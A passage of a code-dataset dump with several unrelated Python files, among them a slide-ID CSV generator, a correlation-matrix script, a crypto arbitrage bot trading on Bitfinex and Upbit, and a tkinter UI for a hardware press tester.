new_batch_id\r\n\r\n\r\n#\r\n# Update Astrodef_<project>.csv and create or update to master Astrodef.csv\r\n#\r\ndef slide_id_csv(st_patient, st_batch_id, mastro_csv, uppath, proj, cohort):\r\n local_string = uppath + '/' + 'AstropathAPIDdef_' + str(proj) + '.csv'\r\n attempts = 0\r\n new_slide_id, new_patient, new_batch_id = [], [], []\r\n try:\r\n new_slide_id, new_patient, new_batch_id = next_slide_id(\r\n mastro_csv, local_string, st_patient, st_batch_id,\r\n str(proj).zfill(3)\r\n )\r\n except OSError:\r\n attempts = attempts + 1\r\n time.sleep(10)\r\n if attempts == 5:\r\n descriptor = \"Cannot open/parse: {0}\".format(mastro_csv)\r\n log_string = \"WARNING: \" + descriptor + \" after \" \\\r\n + str(attempts) + \" attempts.\"\r\n print(log_string)\r\n return\r\n if new_slide_id:\r\n proj_list = [proj] * len(new_patient)\r\n cohort_list = [cohort[1][cohort[0].index(proj)]] * len(new_patient)\r\n if len(new_slide_id) == 1:\r\n new_data = list(zip(new_slide_id, new_patient, proj_list, cohort_list,\r\n new_batch_id))\r\n else:\r\n id_index = [i for i, val in enumerate(new_patient) if val in set(st_patient)]\r\n new_data = list(zip(new_slide_id, list(itemgetter(*id_index)(new_patient)),\r\n proj_list, cohort_list,\r\n list(itemgetter(*id_index)(new_batch_id))))\r\n #\r\n # Append Astrodef_<project>.csv for working specimen\r\n #\r\n # Create shared tools function that opens csv and writes infromation with given headers\r\n # Inputs: filename, cols, cols_data\r\n # Check that you can open file and that it exists\r\n # If DNE, write file with cols\r\n # take out cols_data\r\n # If file can't open return error\r\n #\r\n attempts = 0\r\n try:\r\n with open(mastro_csv, 'a', newline='') as f:\r\n writer = csv.writer(f, lineterminator='\\r\\n')\r\n writer.writerows(new_data)\r\n except OSError:\r\n attempts = attempts + 1\r\n time.sleep(10)\r\n if attempts == 5:\r\n descriptor = \"Cannot write to: {0}\".format(mastro_csv)\r\n log_string = \"WARNING: \" + descriptor + \" after \" \\\r\n + str(attempts) + \" attempts.\"\r\n print(log_string)\r\n return\r\n # with open(mastro_csv, newline='') as csvfile:\r\n # astroidreader = csv.reader(csvfile, delimiter=' ', quotechar='|')\r\n # for row in astroidreader:\r\n # print(', '.join(row))\r\n #\r\n # Get APID data for local file\r\n #\r\n lines = st.read_csv(mastro_csv)\r\n slide_id_list = [i.split(',')[0] for i in lines[1:]]\r\n slide_id_list = [s.replace('AP', '') for s in slide_id_list]\r\n indeces = [slide_id_list.index(idx) for idx in slide_id_list if int(idx[0:3]) == int(proj)]\r\n new_data = []\r\n for index in indeces:\r\n new_data.append(lines[index + 1].replace('\\n', '').split(','))\r\n #\r\n # Check if the new list doesn't match the old file data\r\n #\r\n old_data = []\r\n lines = st.read_csv(local_string)\r\n slide_id_list = [i.split(',')[0] for i in lines[1:]]\r\n for i1 in range(len(slide_id_list)):\r\n old_data.append(lines[i1 + 1].replace('\\n', '').split(','))\r\n if old_data == new_data:\r\n return\r\n #\r\n try:\r\n with open(local_string, 'w', newline='') as f:\r\n writer = csv.writer(f, lineterminator='\\r\\n')\r\n writer.writerows(new_data)\r\n except OSError:\r\n attempts = attempts + 1\r\n time.sleep(10)\r\n if attempts == 5:\r\n descriptor = \"Cannot write to: {0}\".format(local_string)\r\n log_string = \"WARNING: \" + descriptor + \" after \" \\\r\n + str(attempts) + \" attempts.\"\r\n print(log_string)\r\n return\r\n # with open(local_string, newline='') as csvfile:\r\n # astroidreader = csv.reader(csvfile, delimiter=' ', quotechar='|')\r\n # for row in astroidreader:\r\n # print(', '.join(row))\r\n #\r\n # Append master Astrodef.csv\r\n #\r\n\r\n\r\ndef apid_argparser():\r\n version = '0.01.0001'\r\n parser = argparse.ArgumentParser(\r\n prog=\"ASTgen\",\r\n description='creates APIDs for clincal specimen slides in the Astropath pipeline'\r\n )\r\n parser.add_argument('--version', action='version', version='%(prog)s ' + version)\r\n parser.add_argument('mpath', type=str, nargs='?',\r\n help='directory for astropath processing documents')\r\n args, unknown = parser.parse_known_args()\r\n return args\r\n\r\n\r\n#\r\n# Main function, reads in csv\r\n#\r\ndef start_gen():\r\n #\r\n # Process user input for the csv file path\r\n #\r\n cwd = '/'.join(os.getcwd().replace('\\\\', '/').split('/')[:-1])\r\n print(cwd)\r\n for root, dirs, files in os.walk(cwd, topdown=True):\r\n if \"shared_tools\" in dirs:\r\n os.chdir(root)\r\n break\r\n cwd = '/'.join(os.getcwd().replace('\\\\', '/').split('/'))\r\n print(cwd)\r\n print(\"Inputs: \" + str(sys.argv))\r\n arg = apid_argparser()\r\n mpath = pathlib.Path(arg.mpath)\r\n csv_file = mpath/\"AstropathPaths.csv\"\r\n mastro_csv = mpath/\"AstropathAPIDdef.csv\"\r\n if not os.path.exists(csv_file):\r\n print(\"No AstropathPaths.csv found in \" + str(mpath))\r\n return\r\n contents = os.listdir(mpath)\r\n print(contents)\r\n #\r\n # Perform the SlideID generation\r\n #\r\n for t in range(2):\r\n ast_gen(mpath, csv_file, mastro_csv)\r\n minutes = 0.1\r\n print(\"ALL AVAILABLE IDS GENERATED. SLEEP FOR \" + str(minutes) + \" MINUTES...\")\r\n wait_time = 60 * minutes\r\n time.sleep(wait_time)\r\n\r\n\r\nif __name__ == '__main__':\r\n start_gen()\r\n","sub_path":"astropath/hpfs/astroidgen/ASTgen.py","file_name":"ASTgen.py","file_ext":"py","file_size_in_byte":11716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"240239901","text":"# -----------------------------------------------------------------------------\n# Name: correlation\n# Purpose: Calculate correlations and covariance\n#\n#\n# -----------------------------------------------------------------------------\n\"\"\"\nCalculate correlations and covariance\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\nimport xgboost as xgb\nimport operator\nfrom sklearn import preprocessing\nfrom sklearn.cross_validation import train_test_split\nimport matplotlib\nmatplotlib.use(\"Agg\") # Needed to save figures\nimport matplotlib.pyplot as plt\n\n# --- Import data ---\nprint(\"## Loading Data\")\ntrain = pd.read_csv('../inputs/train.csv')\n\n# --- Process data ---\nprint(\"## Data Processing\")\n\n# Define parameters\noutput_col_name = \"target\"\nid_col_name = \"ID\"\n\ntrain = train.drop(id_col_name, axis=1)\n\n\n# --- Calculate matrices and save to csv ---\nprint(\"## Calculating matrices\")\n\nprint(\" - Pearson correlation matrix\")\ncorrelation_p = train.corr() # Pearson method\ncorrelation_p.to_csv('stats/correlation_matrix_pearson.csv')\n\n# print(\" - Kendall Tau correlation matrix\")\n# correlation_k = train.corr(method='kendall') # Kendall Tau\n# correlation_k.to_csv('stats/correlation_matrix_kendall.csv')\n\nprint(\" - Spearman correlation matrix\")\ncorrelation_s = train.corr(method='spearman') # Spearman\ncorrelation_s.to_csv('stats/correlation_matrix_spearman.csv')\n\ncovariance = train.cov()\ncovariance.to_csv('stats/covariance_matrix.csv')\n\n# --- Plot matrices ---\nprint(\"## Plotting\")\nplt.matshow(correlation_p)\nplt.savefig('stats/correlation_matrix_pearson.png')\nplt.clf()\n\n# plt.matshow(correlation_k)\n# plt.savefig('stats/correlation_matrix_kendall.png')\n# plt.clf()\n\nplt.matshow(correlation_s)\nplt.savefig('stats/correlation_matrix_spearman.png')\nplt.clf()\n\nplt.matshow(covariance)\nplt.savefig('stats/covariance_matrix.png')\nplt.clf()","sub_path":"feature_analysis/correlation.py","file_name":"correlation.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"310407041","text":"from pathlib import Path\n\nDATASET_NAME = 'emotions'\nFOLD_COUNT = 10\nCLASS_COUNT = 6\n\n\ndef main():\n ughz = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\"\"\" + '\\n'\n ughz += \"\"\"<labels xmlns=\"http://mulan.sourceforge.net/labels\">\"\"\" + '\\n'\n for class_nr in range(CLASS_COUNT):\n ughz += f\"\"\"<label name=\"Class{class_nr}\"></label>\"\"\" + '\\n'\n ughz += \"\"\"</labels>\"\"\"\n\n for fold_nr in range(FOLD_COUNT):\n xml_path = Path.cwd() / 'folds' / str(fold_nr) / 'mulan.xml'\n xml_path.write_text(ughz)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"emotions/generate_mulan_xmls.py","file_name":"generate_mulan_xmls.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"223675035","text":"import sys\n\nexp = sys.stdin.readline().split('-')\nssum = []\n\nfor ex in exp:\n\ttemp = list(map(int, ex.split('+')))\n\tssum.append(sum(temp))\n\ntotal_sum = ssum[0]\n\nfor i in ssum[1:]:\n\ttotal_sum -= i\n\nprint(total_sum)","sub_path":"BOJ/BOJ Python/PY1541_잃어버린_괄호.py","file_name":"PY1541_잃어버린_괄호.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"59873245","text":"\n#%%\nimport numpy as np\n\n# get_ipython().run_line_magic('matplotlib', 'inline')\n\nimport websockets\nimport json\n\nfrom common import log\n\nfrom botson import notify_admin\n\nclass Bitfinex:\n\n def __init__(self):\n\n file = open('/Users/jiwon/keys/keys.json',mode='r')\n all_of_it = file.read()\n file.close()\n obj = json.loads(all_of_it)\n self.api_key = obj['bitfinex'][0]\n self.api_secret = obj['bitfinex'][1]\n self.bf_orderbook = None\n self.bf_orderbook_history = np.empty((0, 3))\n self.bf_ticker_history = np.empty((0, 2))\n self.snapshot = None\n\n def feed_bf_orderbook(self, symbol, ts, data):\n\n snapshot = {}\n # print(symbol, ts, data)\n if isinstance(data[0], list):\n for it in data:\n price = it[0]\n count = it[1]\n amount = it[2]\n assert price not in self.bf_orderbook\n self.bf_orderbook[price] = amount\n # print('obi:', it)\n else:\n price = data[0]\n count = data[1]\n amount = data[2]\n if count > 0:\n if price in self.bf_orderbook:\n self.bf_orderbook[price] += amount\n else:\n self.bf_orderbook[price] = amount\n else:\n assert count == 0\n assert price in self.bf_orderbook\n del self.bf_orderbook[price]\n # print('obi:', data)\n lowest_ask = None\n for price in sorted(self.bf_orderbook):\n if self.bf_orderbook[price] > 0:\n highest_bid = price\n assert lowest_ask is None\n elif lowest_ask is None and self.bf_orderbook[price] < 0:\n lowest_ask = price\n assert highest_bid is not None\n assert lowest_ask is not None\n assert highest_bid < lowest_ask\n self.bf_orderbook_history = np.append(self.bf_orderbook_history, [[ts, highest_bid, lowest_ask]], axis=0)\n snapshot['ts'] = ts\n snapshot['bp'] = highest_bid\n snapshot['ap'] = lowest_ask\n self.snapshot = snapshot\n\n async def producer_bf(self):\n\n while True:\n bf_ticker_reverse_index = {}\n bf_book_reverse_index = {}\n self.bf_orderbook = {}\n try:\n print('Restarting bf...')\n \n nonce = str(int(time.time() * 10000000))\n auth_string = 'AUTH' + nonce\n auth_sig = hmac.new(self.api_secret.encode(), auth_string.encode(), hashlib.sha384).hexdigest()\n \n payload = {'event': 'auth', 'apiKey': self.api_key, 'authSig': auth_sig, 'authPayload': auth_string, 'authNonce': nonce }\n payload = json.dumps(payload)\n \n ws_bf = await websockets.connect('wss://api.bitfinex.com/ws/2')\n \n await ws_bf.send(json.dumps({ 'event': 'subscribe', 'channel': 'ticker', 'symbol': 'tLTCUSD' }))\n await ws_bf.send(json.dumps({ 'event': 'subscribe', 'channel': 'book', 'symbol': 'tLTCUSD' }))\n \n while 1:\n data = json.loads(await ws_bf.recv())\n # print(data)\n if isinstance(data, list):\n if data[1] == 'hb':\n pass\n elif data[0] in bf_ticker_reverse_index:\n symbol = bf_ticker_reverse_index[data[0]]\n self.bf_ticker_history = np.append(self.bf_ticker_history, [[time.time(), data[1][6]]], axis=0)\n print(symbol, data[1][0], data[1][2], data[1][6])\n # self.snapshot['last'] = data[1][6]\n # print('bf:', self.snapshot)\n elif data[0] in bf_book_reverse_index:\n # print(data)\n self.feed_bf_orderbook(bf_book_reverse_index[data[0]], time.time(), data[1])\n elif data['event'] == 'subscribed':\n if data['channel'] == 'ticker':\n bf_ticker_reverse_index[data['chanId']] = data['symbol']\n print('bf_ticker_reverse_index:', bf_ticker_reverse_index)\n elif data['channel'] == 'book':\n bf_book_reverse_index[data['chanId']] = data['symbol']\n print('bf_book_reverse_index:', bf_book_reverse_index)\n except Exception as e:\n print(e)\n time.sleep(30)\n\nimport requests\nimport pytz\nimport datetime\n\ndef ft(unix_timetamp_in_ms):\n KST = datetime.timezone(datetime.timedelta(hours=9))\n return str(datetime.datetime.fromtimestamp(unix_timetamp_in_ms / 1000, tz=KST))\n\n\nimport traceback\nimport sys\n\nfrom upbit import post_limit_order\nfrom upbit import wait_order_fulfillment\nfrom upbit import get_free_balances2\nfrom upbit import start_quickie\n\nclass Upbit:\n\n def __init__(self):\n self.ub_orderbook_history = {}\n self.ub_ticker_history = {}\n self.symbols = []\n self.snapshot = None\n self.min_trade_amount = {\n 'KRW': 500,\n 'BTC': 0.0005,\n 'USDT': 0.0005\n }\n self.free_balances = None\n self.free_balances_timestamp = None\n\n r = requests.get('https://api.upbit.com/v1/market/all')\n pairs = json.loads(r.content.decode('utf-8'))\n # print(pairs)\n\n for it in pairs:\n self.symbols.append(it['market'])\n symbol = it['market'].split('-')\n x = symbol[1]\n y = symbol[0]\n if x not in self.ub_orderbook_history:\n self.ub_orderbook_history[x] = {}\n if x not in self.ub_ticker_history:\n self.ub_ticker_history[x] = {}\n if y not in self.ub_orderbook_history[x]:\n self.ub_orderbook_history[x][y] = np.empty((0, 3))\n if y not in self.ub_ticker_history[x]:\n self.ub_ticker_history[x][y] = np.empty((0, 2))\n \n async def check_transitive_arbitrage(self, snapshot, min_make_ratio, max_time_diff_seconds, x, y, z, z_amount):\n # print(x, y1, y2)\n if y in self.ub_orderbook_history and z in self.ub_orderbook_history[y] and self.ub_orderbook_history[y][z].shape[0] > 0 and z in self.ub_orderbook_history[x] and self.ub_orderbook_history[x][z].shape[0] > 0:\n y_z = self.ub_orderbook_history[y][z][-1]\n x_z = self.ub_orderbook_history[x][z][-1]\n a = (y_z[1] * snapshot['bp']) / x_z[2]\n b = x_z[1] / (snapshot['ap'] * y_z[2])\n c = snapshot['ap'] / snapshot['bp']\n t1 = snapshot['ts'] - y_z[0]\n t2 = snapshot['ts'] - x_z[0]\n if t1 < max_time_diff_seconds and t2 < max_time_diff_seconds:\n if a > min_make_ratio:\n # await start_quickie('KRW-BTC', 10000, 1.002)\n print('{}\\t{}\\t{}\\t{}\\t{:.4f}\\t{:.4f}\\t{:.4f}\\t{:.2f}\\t{:.2f}'.format(ft(snapshot['ts'] * 1000), x, y, z, a, b, c, t1, t2))\n x_amount = z_amount / x_z[2]\n y_amount = x_amount * snapshot['bp']\n if self.free_balances is not None and self.free_balances[z]['amount'] > z_amount * 1.01 and self.free_balances[y]['amount'] > y_amount * 1.01:\n # if True:\n order = post_limit_order(z + '-' + x, x_amount, x_z[2])\n log(order)\n log(post_limit_order(z + '-' + y, -y_amount, y_z[1]))\n order = await wait_order_fulfillment(order['uuid'])\n log('{} {}'.format(x_amount, order['executed_volume']))\n log(post_limit_order(y + '-' + x, -float(order['executed_volume']), snapshot['bp']))\n self.free_balances = None\n elif b > min_make_ratio:\n print('{}\\t{}\\t{}\\t{}\\t{:.4f}\\t{:.4f}\\t{:.4f}\\t{:.2f}\\t{:.2f}'.format(ft(snapshot['ts'] * 1000), x, y, z, a, b, c, t1, t2))\n y_amount = z_amount / y_z[2]\n x_amount = y_amount / snapshot['ap']\n if self.free_balances is not None and self.free_balances[z]['amount'] > z_amount * 1.01 and self.free_balances[y]['amount'] > y_amount * 1.01:\n # if False:\n order = post_limit_order(y + '-' + x, x_amount, snapshot['ap'])\n log(order)\n log(post_limit_order(z + '-' + y, y_amount, y_z[2]))\n order = await wait_order_fulfillment(order['uuid'])\n log('{} {}'.format(x_amount, order['executed_volume']))\n log(post_limit_order(z + '-' + x, -float(order['executed_volume']), x_z[1]))\n self.free_balances = None\n now = time.time()\n if self.free_balances is None or now - self.free_balances_timestamp > 10:\n self.free_balances = get_free_balances2()\n self.free_balances_timestamp = now\n # elif y1 == 'USDT' and y2 in self.ub_orderbook_history[x] and self.ub_orderbook_history[x][y2].shape[0] > 0:\n # fx = 1111\n # y1_y2 = [0, fx, fx]\n # x_y2 = self.ub_orderbook_history[x]['KRW'][-1]\n # a = (snapshot['bp'] * y1_y2[1]) / x_y2[2]\n # b = x_y2[1] / (snapshot['ap'] * y1_y2[2])\n # c = snapshot['ap'] / snapshot['bp']\n # if a > min_make_ratio or b > min_make_ratio:\n # print('{}\\t{}\\t{}\\t{:.4f}\\t{:.4f}\\t{:.4f}'.format(x, y1, y2, a, b, c))\n\n async def producer_ub(self):\n print(self.symbols)\n while True:\n ws_ub = await websockets.connect('wss://api.upbit.com/websocket/v1')\n await ws_ub.send(json.dumps([ { \"ticket\" : \"test\" } ,{\"format\":\"SIMPLE\"}, {\"type\":\"orderbook\", \"codes\" : self.symbols}, { \"type\" : \"ticker\", \"codes\" : self.symbols } ]))\n try:\n while 1:\n data = json.loads(await ws_ub.recv())\n # print(data)\n symbol = data['cd'].split('-')\n x = symbol[1]\n y = symbol[0]\n if data['ty'] == 'ticker':\n now = time.time()\n self.ub_ticker_history[x][y] = np.append(self.ub_ticker_history[x][y], [[now, data['tp']]], axis=0)\n # print('ub', data['tp'])\n # {'ty': 'ticker', 'cd': 'KRW-LTC', 'op': 107300.0, 'hp': 107650.0, 'lp': 100000.0, 'tp': 101000.0, 'pcp': 107200.0, 'atp': 1570438236.214195, 'c': 'FALL', 'cp': 6200.0, 'scp': -6200.0, 'cr': 0.0578358209, 'scr': -0.0578358209, 'ab': 'ASK', 'tv': 17.24103294, 'atv': 15105.92397352, 'tdt': '20190809', 'ttm': '171327', 'ttms': 1565370807000, 'aav': 7523.65477131, 'abv': 7582.26920221, 'h52wp': 173000.0, 'h52wdt': '2019-06-12', 'l52wp': 25040.0, 'l52wdt': '2018-12-07', 'ts': None, 'ms': 'ACTIVE', 'msfi': None, 'its': False, 'dd': None, 'mw': 'NONE', 'tms': 1565370807605, 'atp24h': 1926291918.7091465, 'atv24h': 18411.92718214, 'st': 'SNAPSHOT'}\n elif data['ty'] == 'orderbook':\n snapshot = {}\n snapshot['ts'] = data['tms'] / 1000\n snapshot['ts_'] = time.time()\n snapshot['bp'] = data['obu'][0]['bp']\n snapshot['ap'] = data['obu'][0]['ap']\n # print('ub:', symbol, snapshot)\n self.ub_orderbook_history[x][y] = np.append(self.ub_orderbook_history[x][y], [[snapshot['ts'], snapshot['bp'], snapshot['ap']]], axis=0)\n self.snapshot = snapshot\n if snapshot['bp'] > 0:\n await self.check_transitive_arbitrage(snapshot, 1.0035, 0.3, x, y, 'KRW', 20000)\n except websockets.exceptions.ConnectionClosedError as e:\n log(repr(e))\n notify_admin(repr(e))\n # except Exception as e:\n # traceback.print_exc()\n # sys.exit()\n time.sleep(30)\n\nimport time\nimport hmac, hashlib\n\nimport matplotlib.pyplot as plt\n\nimport asyncio\n\nclass Arbiter:\n\n def __init__(self):\n self.bitfinex = Bitfinex()\n self.upbit = Upbit()\n\n async def start(self):\n loop = asyncio.get_event_loop()\n loop.create_task(self.bitfinex.producer_bf())\n loop.create_task(self.upbit.producer_ub())\n\n async def plot(self, interval):\n\n buy = None\n sell = None\n last_snapshot_ts = 0\n\n while True:\n\n await asyncio.sleep(1)\n\n bf = self.bitfinex.snapshot\n ub = self.upbit.snapshot\n bf_orderbook_history = self.bitfinex.bf_orderbook_history\n ub_orderbook_history = self.upbit.ub_orderbook_history\n bf_ticker_history = self.bitfinex.bf_ticker_history\n ub_ticker_history = self.upbit.ub_ticker_history\n\n if bf is not None and ub is not None:\n if buy != ub['ap'] / bf['bp'] or sell != ub['bp'] / bf['ap']:\n buy = ub['ap'] / bf['bp']\n sell = ub['bp'] / bf['ap']\n ub_age = (time.time() - ub['ts_']) * 1000\n if ub_age < 1000:\n # for price in sorted(self.bf_orderbook):\n # print(price, ':', self.bf_orderbook[price])\n print(int(round(buy)), int(round(sell)), bf['bp'], bf['ap'], ((bf['ap'] - bf['bp']) / bf['bp'] * 100), int((ub['ts_'] - ub['ts']) * 1000), int(ub_age))\n # print('==================================')\n\n # ts = time.time()\n # if ts - last_snapshot_ts > interval:\n # last_snapshot_ts = ts\n # print('here')\n # plt.plot(bf_orderbook_history[:,0], bf_orderbook_history[:,1], color='green')\n # plt.plot(bf_orderbook_history[:,0], bf_orderbook_history[:,2], color='red')\n # plt.plot(ub_orderbook_history[:,0], ub_orderbook_history[:,1] / 1185, color='blue')\n # plt.plot(ub_orderbook_history[:,0], ub_orderbook_history[:,2] / 1185, color='orange')\n # plt.plot(bf_ticker_history[:,0], bf_ticker_history[:,1], color='black')\n # plt.plot(ub_ticker_history[:,0], ub_ticker_history[:,1] / 1185, color='black')\n # plt.show()\n\n\n#%%\nfrom common import running_in_notebook\n\nif not running_in_notebook():\n arbiter = Arbiter()\n loop = asyncio.get_event_loop()\n loop.create_task(arbiter.start())\n loop.run_until_complete(arbiter.plot(5))\n loop.close()\n # await arbiter.plot(5)\n\n#%%\n","sub_path":"arbiter.py","file_name":"arbiter.py","file_ext":"py","file_size_in_byte":14957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"229915050","text":"# coding=utf-8\r\nimport numpy as np\r\nimport tkinter as tk\r\nimport HX711 \r\nimport TB6600\r\nimport threading\r\nimport SerialHelp\r\nimport config \r\nimport requests\r\nimport datetime\r\nimport os\r\nimport AD7705\r\nimport tkinter.messagebox\r\nimport time\r\nimport logging\r\n\r\n \r\nclass TestPage(tk.Frame):\r\n\t\"\"\"\r\n\ttester UI With tk\r\n\t接口见config定义\r\n\t\"\"\"\r\n\tdef __init__(self, parent, root):\r\n\t\ttk.Frame.__init__(self, parent)\r\n\r\n\t\t#data\r\n\t\tself.direction =0\r\n\t\tself.current_press = 0 #当前力度\r\n\t\tself.data_is_ok=0\r\n\t\t#历史数据\r\n\t\tself.press_strength=[]\r\n\t\tself.press_positions=[]\r\n\t\tself.press_power=[]\r\n\t\tself.press_stroke=[]\r\n\t\t\r\n\t\tself.back_strength=[]\r\n\t\tself.back_positions=[]\r\n\t\tself.back_power=[]\r\n\t\tself.back_stroke=[]\r\n\t\t# 测力\r\n\t\tself.hx711=HX711.HX711(config.SCK, config.DT, config.VALUE_GAP) #valueGap 一般为1900\r\n\t\tself.hx711.getMaopi()\r\n\t\tself.is_get_press = False\r\n\t\t# 电机\r\n\t\tself.tb6600 = TB6600.TB6600(config.ENA, config.DIR, config.PUL,0.00008) #必须大于0.00008,否则丢步\r\n\t\t#发电量tk\r\n\t\tself.ad7705=AD7705.AD7705(config.RESET, config.DRDY, config.DIN, config.DOUT, config.SCLK, config.CS, config.POWER_GAP)\r\n\t\t#扫描串口\r\n\t\tself.scan_serial=SerialHelp.SerialHelper(config.SCAN_PORT)\r\n\t\tself.scan_serial.thresholdValue = 11\r\n\t\tself.scan_serial.start()\r\n\t\t#待上传数据\r\n\t\tself.sn_data=\"\"\r\n\t\tself.data_list=[]\r\n\t\tself.tester=\"\"\r\n\t\tself.create_widgets()\r\n\r\n\tdef create_widgets(self):\r\n\t\trow_width = 16\r\n\t\trow_height = 5\r\n\t\trow_height1 = 3\r\n\r\n\t\tself.pressNote = tk.StringVar()\r\n\t\tself.backNote = tk.StringVar()\r\n\t\t#第一行\r\n\t\trow=0\r\n\t\tmodule_name = config.PM.keys()\r\n\t\tself.module=tk.StringVar(self)\r\n\t\tself.module.set(config.DEFAULT_MODULE)\r\n\t\tdef change_note(event):\r\n\t\t\tself.module_param = eval('config.'+self.module.get())\r\n\t\tchange_note('<Button>')\r\n\t\tmodules = tk.OptionMenu(self,self.module,*module_name,command=change_note)\r\n\t\tmodules.grid(row=row,column=0,rowspan=2,sticky=\"nesw\")\r\n\t\t\r\n\t\t#标定位置tk.StringVar\r\n\t\tself.calibrate_button_value=tk.StringVar()\r\n\t\tself.calibrate_button_value.set(\"确认标定位置\")\r\n\t\tself.calibrate_button = tk.Button(self,textvariable=self.calibrate_button_value,bg=\"grey\",command=self.calibrate_button_press) \r\n\t\tself.calibrate_button.grid(row=row,column=1,sticky=tk.W+tk.E)\r\n\t\t\r\n\t\t#校准力度\r\n\t\tself.start_button_value = tk.StringVar()\r\n\t\tself.start_button = tk.Button(self,textvariable=self.start_button_value,bg=\"green\",command=self.start_button_press) \r\n\t\tself.start_button.grid(row=row+1,column=1,sticky=tk.W+tk.E)\r\n\t\t\r\n\t\t#开始测试按钮\r\n\t\tself.motor_button_value=tk.StringVar()\r\n\t\tself.motor_button_value.set(\"测试\")\r\n\t\tself.motor_button = tk.Button(self,textvariable =self.motor_button_value,width=row_width*2,height=row_height1,command=self.getPressData)\r\n\t\tself.motor_button.grid(row=row,column=2,columnspan=2,rowspan=2)\r\n\t\t\r\n\t\t#与第一行合并\r\n\t\trow=row+1\r\n\t\t# 第二行\r\n\t\trow=row+1\r\n\t\ttk.Label(self,text=\"发电量\",width=row_width).grid(row=row,column=0)\r\n\t\ttk.Label(self,text=\"动作点力度\",width=row_width).grid(row=row,column=1)\r\n\t\ttk.Label(self,text=\"动作点位置\",width=row_width).grid(row=row,column=2)\r\n\t\ttk.Label(self,text=\"动作点行程\",width=row_width).grid(row=row,column=3)\r\n\t\t\r\n\t\t# 第三行\r\n\t\trow =row+1\r\n\t\tself.press_power_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\" )\r\n\t\tself.press_power_text.grid(row=row,column=0)\r\n\t\t\r\n\t\tself.press_strength_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\")\r\n\t\tself.press_strength_text.grid(row=row,column=1)\r\n\t\t\r\n\t\tself.press_position_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\")\r\n\t\tself.press_position_text.grid(row=row,column=2)\r\n\t\t\r\n\t\tself.press_stroke_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\")\r\n\t\tself.press_stroke_text.grid(row=row,column=3)\r\n\t\t\r\n\t\t# 第四行\r\n\t\trow =row+1\r\n\t\tself.back_power_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\")\r\n\t\tself.back_power_text.grid(row=row,column=0)\r\n\t\t\r\n\t\tself.back_strength_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\")\r\n\t\tself.back_strength_text.grid(row=row,column=1)\r\n\t\t\r\n\t\tself.back_position_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\")\r\n\t\tself.back_position_text.grid(row=row,column=2)\r\n\t\t\r\n\t\tself.back_stroke_text = tk.Text(self,width=row_width,height=row_height, bg=\"Lime\")\r\n\t\tself.back_stroke_text.grid(row=row,column=3)\r\n\t\t\r\n\t\trow=row+1\r\n\t\t#第五行\r\n\t\tself.state = tk.StringVar()\r\n\t\tself.stateLabel = tk.Label(self,textvariable=self.state,fg=\"grey\")\r\n\t\tself.stateLabel.grid(row=row,column=0,columnspan=3,sticky=tk.W)\r\n\t\t\r\n\t\tself.test_efficiency_label=tk.StringVar()\r\n\t\ttk.Label(self,textvariable=self.test_efficiency_label).grid(row=row,column=3,sticky=tk.W+tk.E)\r\n\t\t\r\n\t\t\r\n\t###################################################################\r\n\t# 数据上传部分:\r\n\t# ##################################################################\r\n\tdef get_scan_data(self):\r\n\t\twhile self.scan_serial.alive:\r\n\t\t\ttry:\r\n\t\t\t\ttime.sleep(0.0005)\r\n\t\t\t\tnumber = self.scan_serial.l_serial.inWaiting()\r\n\t\t\t\tif number: #此判断非常重要\r\n\t\t\t\t\tself.scan_serial.receive_data += self.scan_serial.l_serial.read(number).decode()\r\n\t\t\t\t\tself.scan_serial.l_serial.flushInput()\r\n\t\t\t\t\tself.scan_serial.receive_data = str(self.scan_serial.receive_data)\r\n\t\t\t\t\t\r\n\t\t\t\t\t#产生数据判断1:当前扫描的SN结果和正在测试SN的一致\r\n\t\t\t\t\tprint( self.scan_serial.receive_data)\r\n\t\t\t\t\tif self.scan_serial.thresholdValue == len(self.scan_serial.receive_data):\r\n\t\t\t\t\t\tif self.sn_data != \"\" and self.sn_data== self.scan_serial.receive_data:\r\n\t\t\t\t\t\t\tself.motor_button_value.set(\"扫描新的模块\")\r\n\t\t\t\t\t\t\tself.generate_data()\r\n\t\t\t\t\t\telif self.sn_data==\"\":\r\n\t\t\t\t\t\t\tself.sn_data=self.scan_serial.receive_data\r\n\t\t\t\t\t\t\tself.motor_button_value.set(self.sn_data)\r\n\t\t\t\t\t\t\tself.scan_serial.receive_data = \"\"\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tself.set_status_bar(\"需要上传模块的SN错误\",\"error\")\r\n\t\t\t\t\tself.scan_serial.receive_data = \"\"\r\n\r\n\t\t\texcept Exception as e:\r\n\t\t\t\tlogging.error(e)\r\n\t\t\t\tself.set_status_bar(\"扫描串口断开,连接中...\",\"error\")\r\n\t\t\t\twhile(1):\r\n\t\t\t\t\ttime.sleep(1)\r\n\t\t\t\t\tself.scan_serial.stop()\r\n\t\t\t\t\tself.scan_serial.start()\r\n\t\t\t\t\tif self.scan_serial.alive:\r\n\t\t\t\t\t\tbreak\r\n\t\r\n\t#产生一条数据,每次扫二维码时产生一条数据\r\n\tdef generate_data(self):\r\n\t\tprint( threading.active_count())\r\n\t\tif not self.upload_thread.isAlive():\r\n\t\t\tself.upload_thread.start()\r\n\t\ttemp_sn=self.sn_data\r\n\t\tself.sn_data=\"\"\r\n\t\tif self.data_is_ok:\r\n\t\t\tconfig.OK_NUM 